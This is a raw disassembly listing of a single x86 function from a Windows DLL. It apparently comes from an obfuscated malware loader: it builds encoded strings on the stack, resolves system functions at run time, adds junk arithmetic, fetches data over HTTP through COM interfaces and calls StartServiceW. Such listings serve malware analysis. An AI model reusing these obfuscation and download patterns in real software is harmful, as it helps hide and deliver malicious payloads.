mov byte [ebp - 4], 0x18
mov dword [ebp - 0x200], 0xfffffff7
mov dword [ebp - 0x40], 0xe90a624c
mov dword [ebp - 0x14], ebx
jmp 0x10029bcf
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x258]
mov dword [eax + ecx*4], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10029bc0
push ecx
push 1
push ecx
mov edx, 0x4bce
call fcn.1002870c
pop ecx
pop ecx
push 0x6e3a
push ebx
lea edx, [ebp - 0x258]
lea ecx, [ebp - 0x200]
call fcn.10027df3
add esp, 0xc
mov ecx, edx
call fcn.10001bd9
mov byte [ebp - 4], 0x19
cmp dword [ebp - 0x28], 0x528
jge 0x10029c3f
mov edx, str.rtke_rqsbzswd_rjkik
mov ecx, 0x1006de98
call fcn.100102b0
jmp 0x10029c3f
mov dword [ebp - 4], 0x13
mov ecx, ebx
push 0xb
pop eax
push 0x31
mov byte [ebp - 0xa5], al
pop eax
push 2
mov dword [ebp - 0xf0], 0x1198107
mov dword [ebp - 0xec], 0x761a7601
mov dword [ebp - 0xe8], 0x1a0c1d09
mov dword [ebp - 0xe4], 0xa1f0415
mov dword [ebp - 0xe0], 0x1c402902
mov dword [ebp - 0xdc], 0x13090a09
mov dword [ebp - 0xd8], 0x181e1214
mov word [ebp - 0xd4], 0xe1e
mov byte [ebp - 0xd2], bl
mov dword [ebp - 0xd1], 0x75106911
mov byte [ebp - 0xcd], bl
mov dword [ebp - 0xcc], 0x1d4f244a
mov byte [ebp - 0xc8], bl
mov dword [ebp - 0xc7], 0x74167206
mov dword [ebp - 0xc3], 0x701e0408
mov dword [ebp - 0xbf], 0x7b200414
mov dword [ebp - 0xbb], 0x74030905
mov dword [ebp - 0xb7], 0x7323750f
mov dword [ebp - 0xb3], 0x4b023f25
mov dword [ebp - 0xaf], 0x7122050d
mov dword [ebp - 0xab], 0x7a04011b
mov word [ebp - 0xa7], 0x7c17
mov word [ebp - 0xa4], 0x2106
mov byte [ebp - 0xa2], 0x73
mov word [ebp - 0x50a], ax
pop esi
mov dword [ebp - 0x168], ecx
cmp esi, 0x10
jne 0x10029d55
push 3
pop ecx
push 0x11
mov dword [ebp - 0x168], ecx
pop esi
jmp 0x10029dad
movzx edx, byte [ebp + esi - 0xef]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0xf2]
movzx ecx, word [ebp + eax*2 - 0x518]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0xf0]
add ecx, edx
mov edx, 0x3025
push ecx
mov word [ebp + eax*2 - 0x518], cx
lea eax, [ebp - 0x168]
push eax
push 1
mov ecx, 0x7e3e
call fcn.10027df3
mov ecx, dword [ebp - 0x168]
add esp, 0xc
add esi, 2
cmp esi, 0x4f
jb 0x10029d42
xor eax, eax
mov word [ebp - 0x4cc], ax
mov dword [ebp - 0x68], ebx
mov dword [ebp - 0x204], 0xffffffff
mov dword [ebp - 0x14], ebx
jmp 0x10029de1
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1c0], 1
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x10029dd0
push 0x646
push 1
lea eax, [ebp - 0x204]
push 0x6005
push eax
lea edx, [ebp - 0x68]
call fcn.10028741
mov eax, dword [ebp - 0x68]
lea ecx, [ebp - 0x270]
mov dword [ebp - 0x68], eax
add esp, 0x10
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x1c0], eax
xor eax, eax
mov word [ebp - 0x270], ax
lea eax, [ebp - 0x518]
push eax
mov dword [ebp - 0x25c], 7
mov dword [ebp - 0x260], ebx
call fcn.10020a6d
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x24c]
mov dword [ebp - 0x54], 0xd7839892
mov dword [ebp - 0x44], 0xffffffff
mov dword [ebp - 0x20], 0x665969a2
mov dword [ebp - 0x1c], 8
mov dword [ebp - 0x14], 1
push 3
call fcn.10001b7c
mov eax, 0x947f
mov byte [ebp - 4], 0x1c
mov dword [ebp - 0x2d4], eax
lea edx, [ebp - 0x184]
mov dword [ebp - 0x2d0], eax
mov cl, 1
mov dword [ebp - 0x2cc], eax
mov dword [ebp - 0x2c8], eax
lea eax, [ebp - 0x24c]
push eax
push 1
push 0x4b88
push 0x23
push ebx
call fcn.100284cb
mov eax, dword [ebp - 0x54]
add esp, 0x14
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x44], ebx
jne 0x10029eca
mov ecx, ebx
jmp 0x10029ecd
xor ecx, ecx
inc ecx
xor eax, eax
cmp ecx, 1
setne al
cmp eax, dword [ebp - 0x20]
jge 0x10029ee4
cmp dword [ebp - 0x44], ebx
je 0x10029ee4
xor ecx, ecx
inc ecx
jmp 0x10029ee6
mov ecx, ebx
xor eax, eax
cmp ecx, 0xfff8
push 0x26d2
setne al
xor edx, edx
cmp eax, 2
push 1
setne dl
xor ecx, ecx
add edx, dword [ebp - 0x20]
imul edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
cmp edx, eax
mov eax, dword [ebp - 0x54]
setg cl
xor edx, edx
cmp ecx, 0xfffffffd
setl dl
xor ecx, ecx
imul edx, eax
mov eax, dword [ebp - 0x54]
cmp eax, edx
mov eax, dword [ebp - 0x54]
setge cl
xor edx, edx
cmp eax, ecx
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
setg dl
imul ecx, edx
xor edx, edx
cmp ecx, eax
setne dl
xor eax, eax
cmp edx, 1
setg al
xor ecx, ecx
cmp eax, 0x4b4b
setge cl
sub ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x24c]
setle dl
sub edx, dword [eax]
mov eax, 0xfffe
neg edx
sbb edx, edx
inc edx
neg edx
cmp eax, edx
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 0xaba4
lea eax, [ebp - 0x44]
push eax
setge cl
lea eax, [ebp - 0x54]
mov dword [ebp - 0x2d4], ecx
xor dl, dl
push 1
push eax
lea ecx, [ebp - 0x24c]
call fcn.10027e50
add esp, 0x14
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x24c]
call fcn.10001bd9
push 0x13
pop ecx
xor eax, eax
lea edi, [ebp - 0x518]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 0x18], 0xb9f9b319
mov dword [ebp - 0x1c], 0xe637c5b1
mov dword [ebp - 0x2c4], ebx
mov dword [ebp - 0x2c0], ebx
mov dword [ebp - 0x2bc], ebx
mov dword [ebp - 0x2b8], ebx
mov dword [ebp - 0x1c], 0x41a80d1c
mov dword [ebp - 0x14], 0x2c18
cmp dword [ebp - 0x14], 0x2dc1
jle 0x1002a06a
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], 0x1837
mov esi, dword [ebp - 0x20]
mov edi, ebx
mov ecx, edi
mov eax, esi
sar eax, cl
lea ecx, [ebp - 0x478]
cdq
push edx
push eax
call fcn.10002543
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1002a035
mov eax, dword [eax]
push eax
call fcn.1003de4c
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x478]
call fcn.1000c586
inc edi
cmp edi, 0x4a5b
jl 0x1002a017
mov esi, dword [ebp - 0x28]
add dword [ebp - 0x20], esi
dec dword [ebp - 0x1c]
jne 0x1002a012
inc esi
mov dword [ebp - 0x28], esi
cmp esi, 0x8e4
jl 0x1002a008
mov dword [ebp - 0x40], 0xfffffff7
cmp dword [ebp - 0x14], 0x28fe
jge 0x1002a085
push str.snhkm_snsjxyc_blbqqam_sxkoyr_cujehgf_itrvgohb_siwvvga_dkfoq_uqat_eibad_nuezhuzj_qvqp_fov
call fcn.1003de4c
pop ecx
mov dword [ebp - 4], 0x1b
mov dword [ebp - 0x18], ebx
jmp 0x1002a14a
lea eax, [ebp - 0x2d]
mov dword [ebp - 0x14], 0x36f6dd8d
push eax
push 1
push 0x6968
push 0x12e7
push 0x779a
push 0x7f90
push 1
push 1
push 0x26a9
push 0x5f6f
mov dword [ebp - 0x20], 0xffffffff
mov edx, 0x7e97
mov byte [ebp - 0x2d], bl
mov ecx, 0x331c
push 0x77a9
call fcn.1002889e
add esp, 0x2c
cmp dword [ebp - 0x14], ebx
je 0x1002a144
mov eax, dword [ebp - 0x18]
xor edx, edx
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
cmp eax, 1
mov eax, dword [ebp - 0x20]
setl dl
xor ecx, ecx
cmp edx, eax
setl cl
xor edx, edx
imul ecx, ecx, 0x70ed
mov dword [ebp - 0x2bc], ecx
mov eax, dword [ebp - 0x14]
cmp ecx, eax
setg dl
xor eax, eax
cmp edx, 0xea31
setle al
cmp eax, dword [ebp - 0x14]
je 0x1002a130
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jne 0x1002a144
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x40], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x14
je 0x1002a094
cmp dword [ebp - 0x288], 8
lea ecx, [ebp - 0x380]
push ecx
lea eax, [ebp - 0x29c]
mov esi, 0xae5
cmovae eax, dword [ebp - 0x29c]
mov edi, 0xbf0
push eax
push esi
push edi
call fcn.10020124
pop ecx
pop ecx
call eax
test eax, eax
jne 0x1002a695
cmp dword [ebp - 0x25c], 8
lea ecx, [ebp - 0x390]
push ecx
lea eax, [ebp - 0x270]
cmovae eax, dword [ebp - 0x270]
push eax
push esi
push edi
call fcn.10020124
pop ecx
pop ecx
call eax
test eax, eax
jne 0x1002a695
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x380]
push eax
push 3
push ebx
lea eax, [ebp - 0x390]
push eax
push esi
push 0xca2
call fcn.10020124
pop ecx
pop ecx
call eax
test eax, eax
js 0x1002a695
cmp dword [ebp - 0x2c], 0
je 0x1002a695
push 0xb
pop eax
mov word [ebp - 0x370], ax
mov ecx, ebx
xor eax, eax
mov byte [ebp - 0x64], bl
push 0x47
mov word [ebp - 0x368], ax
pop eax
push 2
mov dword [ebp - 0x63], 0xd5050242
mov dword [ebp - 0x5f], 0x11022201
mov word [ebp - 0x174], ax
pop esi
mov dword [ebp - 0x150], ecx
cmp esi, 2
jne 0x1002a240
push 3
pop ecx
push ecx
mov dword [ebp - 0x150], ecx
pop esi
jmp 0x1002a2c6
movzx edx, byte [ebp + esi - 0x63]
mov eax, esi
sub eax, ecx
push 0x4cde
push 0x2849
push 0x2e90
movzx eax, byte [ebp + eax - 0x66]
push 0x7361
push ebx
push 0x2146
movzx eax, word [ebp + eax*2 - 0x174]
mov ecx, eax
and eax, edx
push 1
or ecx, edx
mov edx, 0x776c
sub ecx, eax
movzx eax, byte [ebp + esi - 0x64]
push 0x5fad
push 0x4911
push 0x7942
mov word [ebp + eax*2 - 0x174], cx
lea eax, [ebp - 0x150]
push eax
push 0x1e44
push 1
push 0x1812
push 0x54b7
mov ecx, 0x148c
call fcn.10027f96
mov ecx, dword [ebp - 0x150]
add esp, 0x3c
add esi, 2
cmp esi, 9
jb 0x1002a22b
xor eax, eax
mov dword [ebp - 0x19c], 7
mov word [ebp - 0x16e], ax
lea ecx, [ebp - 0x1b0]
mov word [ebp - 0x1b0], ax
lea eax, [ebp - 0x174]
push eax
mov dword [ebp - 0x1a0], ebx
call fcn.10020a6d
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x1b0]
cmp dword [ebp - 0x19c], 8
mov eax, dword [ebp - 0x1a0]
cmovae ecx, dword [ebp - 0x1b0]
push dword [ebp - 0x184]
mov dword [ebp - 0x174], ebx
mov dword [ebp - 0x170], ebx
lea eax, [ecx + eax*2]
mov dword [ebp - 0x1cc], ebx
lea ecx, [ebp - 0x1b0]
mov dword [ebp - 0x1c8], ebx
cmovae ecx, dword [ebp - 0x1b0]
push eax
push ecx
lea ecx, [ebp - 0x1cc]
mov dword [ebp - 0x1c4], ebx
call fcn.10025e27
push ecx
push ecx
push 1
sub esp, 0x14
mov byte [ebp - 4], 0x20
lea edx, [ebp - 0x1cc]
call fcn.10028a0e
mov edx, dword [ebp - 0x154]
add esp, 0x20
cmp dword [edx + 0x14], 8
jb 0x1002a38c
mov ecx, dword [edx]
jmp 0x1002a38e
mov ecx, edx
cmp dword [edx + 0x14], 8
mov eax, dword [edx + 0x10]
lea eax, [ecx + eax*2]
jb 0x1002a39c
mov edx, dword [edx]
push dword [ebp - 0x184]
lea ecx, [ebp - 0x1bc]
mov dword [ebp - 0x1bc], ebx
push eax
push edx
mov dword [ebp - 0x1b8], ebx
mov dword [ebp - 0x1b4], ebx
call fcn.10025e27
lea eax, [ebp - 0x230]
mov byte [ebp - 4], 0x21
push eax
lea ecx, [ebp - 0x1bc]
mov dword [ebp - 0x230], ebx
call fcn.1002584c
cmp dword [ebp - 0x19c], 8
lea edx, [ebp - 0x1b0]
lea esi, [ebp - 0x2e8]
mov eax, dword [ebp - 0x2c]
cmovae edx, dword [ebp - 0x1b0]
sub esp, 0x10
mov edi, esp
sub esp, 0x10
mov ecx, dword [eax]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x2e8]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x370]
push dword [ebp - 0x1bc]
push edx
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x1c]
test eax, eax
js 0x1002a65c
mov esi, dword [ebp - 0x190]
mov cl, 1
mov dword [ebp - 0x164], ebx
cmp esi, dword [ebp - 0x18c]
je 0x1002a496
add esi, 0x18
test cl, cl
je 0x1002a47e
cmp dword [esi + 0x14], 8
jb 0x1002a45d
mov edi, dword [esi]
jmp 0x1002a45f
mov edi, esi
cmp dword [esi - 4], 8
jb 0x1002a46a
mov edx, dword [esi - 0x18]
jmp 0x1002a46d
lea edx, [esi - 0x18]
mov eax, dword [ebp - 0x2c]
push edi
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x20]
mov cl, 1
test eax, eax
jns 0x1002a480
mov cl, bl
add esi, 0x30
lea eax, [esi - 0x18]
cmp eax, dword [ebp - 0x18c]
jne 0x1002a44f
test cl, cl
je 0x1002a65c
mov eax, dword [ebp - 0x2c]
lea esi, [ebp - 0x2e8]
sub esp, 0x10
mov edi, esp
mov ecx, dword [eax]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x2c]
test eax, eax
js 0x1002a65c
mov eax, dword [ebp - 0x2c]
lea edx, [ebp - 0x164]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x34]
test eax, eax
js 0x1002a65c
cmp dword [ebp - 0x164], 0x130
je 0x1002a4ea
cmp dword [ebp - 0x164], 0xc8
jne 0x1002a65c
mov eax, dword [ebp - 0x2c]
lea edx, [ebp - 0x3a0]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x48]
test eax, eax
js 0x1002a65c
mov esi, dword [ebp - 0x398]
mov dword [ebp - 0x40], esi
test esi, esi
je 0x1002a65c
mov eax, dword [esi]
lea ecx, [ebp - 0x560]
push 1
push ecx
push esi
call dword [eax + 0x30]
test eax, eax
js 0x1002a656
mov eax, dword [ebp - 0x558]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x1c], 0x765e
cmp dword [ebp - 0x1c], 0x76ed
jle 0x1002a59a
mov edi, ebx
mov esi, ebx
mov eax, esi
lea ecx, [ebp - 0x418]
or eax, edi
cdq
push edx
push eax
call fcn.10002543
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1002a563
mov eax, dword [eax]
push eax
call fcn.1003de4c
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x418]
call fcn.1000c586
inc esi
cmp esi, 0xb49
jl 0x1002a547
inc edi
cmp edi, 0x2618
jl 0x1002a545
push ebx
push 0x1d1e
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
mov esi, dword [ebp - 0x40]
mov eax, dword [ebp - 0x180]
lea ecx, [ebp - 0x36]
push ecx
push dword [ebp - 0x6c]
mov dword [ebp - 0x17c], eax
lea ecx, [ebp - 0x180]
push eax
lea eax, [ebp - 0x328]
mov byte [ebp - 0x36], bl
push eax
call fcn.1002a91f
cmp dword [ebp - 0x1c], 0x7390
jge 0x1002a5d7
push str.qxlws_xgvwlukjs_gjimo_jku_hon_cofruqged_fewxyjg_dpu_mysncmie
call fcn.1003de4c
pop ecx
mov dword [ebp - 4], 0x21
mov eax, ebx
mov edi, dword [ebp - 0x6c]
mov dword [ebp - 0x16c], ebx
mov ebx, dword [ebp - 0x180]
mov dword [ebp - 0x160], eax
mov ecx, dword [esi]
lea edx, [ebp - 0x16c]
push edx
push edi
add eax, ebx
push eax
push esi
call dword [ecx + 0xc]
test eax, eax
js 0x1002a638
push 0x3f3c
push ecx
lea eax, [ebp - 0x16c]
mov cl, 1
push eax
lea edx, [ebp - 0x160]
call fcn.10027ee4
sub edi, dword [ebp - 0x16c]
add esp, 0xc
mov eax, dword [ebp - 0x160]
cmp eax, dword [ebp - 0x6c]
jb 0x1002a5f5
push 1
lea eax, [ebp - 0x160]
push 1
push eax
lea edx, [ebp - 0x180]
lea ecx, [ebp - 0x6c]
call fcn.10027eb1
add esp, 0xc
xor ebx, ebx
mov eax, dword [esi]
push esi
call dword [eax + 8]
mov eax, dword [ebp - 0x2c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
lea ecx, [ebp - 0x1bc]
mov dword [ebp - 0x2c], ebx
call fcn.1000cbf9
lea ecx, [ebp - 0x1cc]
call fcn.1000cbf9
push ebx
push 1
lea ecx, [ebp - 0x1b0]
mov byte [ebp - 4], 0x1b
call fcn.1000c8be
mov esi, 0xae5
push esi
push 0xe5f
call fcn.10020124
pop ecx
pop ecx
call eax
mov ecx, dword [ebp - 0x1e4]
lea eax, [ebp - 0x180]
push eax
call fcn.1002a83b
push ebx
push 1
lea ecx, [ebp - 0x270]
call fcn.1000c8be
push ebx
push 1
lea ecx, [ebp - 0x29c]
call fcn.1000c8be
lea ecx, [ebp - 0x190]
call fcn.10025944
lea ecx, [ebp - 0x180]
call fcn.10025ba5
lea ecx, [ebp + 8]
call fcn.10025944
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret